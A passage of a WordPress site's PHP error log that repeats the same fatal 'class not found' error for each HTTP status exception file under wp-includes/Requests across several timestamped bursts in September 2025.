  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[19-Sep-2025 06:23:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[19-Sep-2025 06:23:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[19-Sep-2025 06:23:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[19-Sep-2025 06:23:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[19-Sep-2025 06:23:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[19-Sep-2025 06:23:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[19-Sep-2025 06:23:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[19-Sep-2025 06:23:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[19-Sep-2025 06:23:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[19-Sep-2025 06:23:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[19-Sep-2025 06:23:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[19-Sep-2025 06:23:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[19-Sep-2025 06:23:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[19-Sep-2025 06:23:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[19-Sep-2025 06:23:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[19-Sep-2025 06:23:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[19-Sep-2025 06:23:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[19-Sep-2025 06:23:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[19-Sep-2025 06:23:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[19-Sep-2025 06:23:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[19-Sep-2025 06:23:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[19-Sep-2025 06:38:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[19-Sep-2025 06:38:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[19-Sep-2025 06:38:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[19-Sep-2025 06:38:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[19-Sep-2025 06:38:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[19-Sep-2025 06:38:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[19-Sep-2025 06:38:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[19-Sep-2025 06:38:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[19-Sep-2025 06:38:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[19-Sep-2025 06:38:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[19-Sep-2025 06:38:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[19-Sep-2025 06:38:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[19-Sep-2025 06:38:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[19-Sep-2025 06:38:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[19-Sep-2025 06:38:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[19-Sep-2025 06:38:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[19-Sep-2025 06:38:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[19-Sep-2025 06:38:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[19-Sep-2025 06:38:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[19-Sep-2025 06:38:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[19-Sep-2025 06:38:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[19-Sep-2025 06:39:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[19-Sep-2025 06:39:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[19-Sep-2025 06:39:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[19-Sep-2025 06:39:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[19-Sep-2025 06:39:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[19-Sep-2025 06:39:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[19-Sep-2025 06:39:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[19-Sep-2025 06:39:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[19-Sep-2025 06:39:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[19-Sep-2025 06:39:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[19-Sep-2025 06:39:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[19-Sep-2025 06:39:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[22-Sep-2025 12:30:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[22-Sep-2025 12:30:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[22-Sep-2025 12:30:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[22-Sep-2025 12:30:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[22-Sep-2025 12:30:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[22-Sep-2025 12:30:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[22-Sep-2025 12:30:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[22-Sep-2025 12:30:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[22-Sep-2025 12:30:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[22-Sep-2025 12:30:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[22-Sep-2025 12:30:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[22-Sep-2025 12:30:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[22-Sep-2025 12:30:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[22-Sep-2025 12:30:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[22-Sep-2025 12:30:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[22-Sep-2025 12:30:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[22-Sep-2025 12:30:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[22-Sep-2025 12:30:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[22-Sep-2025 12:30:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[22-Sep-2025 12:30:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[22-Sep-2025 12:30:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[22-Sep-2025 12:30:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[22-Sep-2025 12:30:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[22-Sep-2025 12:30:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[22-Sep-2025 12:31:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[22-Sep-2025 12:31:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[22-Sep-2025 12:31:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[22-Sep-2025 12:31:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[22-Sep-2025 12:31:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[22-Sep-2025 12:31:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[22-Sep-2025 12:31:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[22-Sep-2025 12:31:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[22-Sep-2025 12:31:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[22-Sep-2025 12:48:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[22-Sep-2025 12:48:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[22-Sep-2025 12:48:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
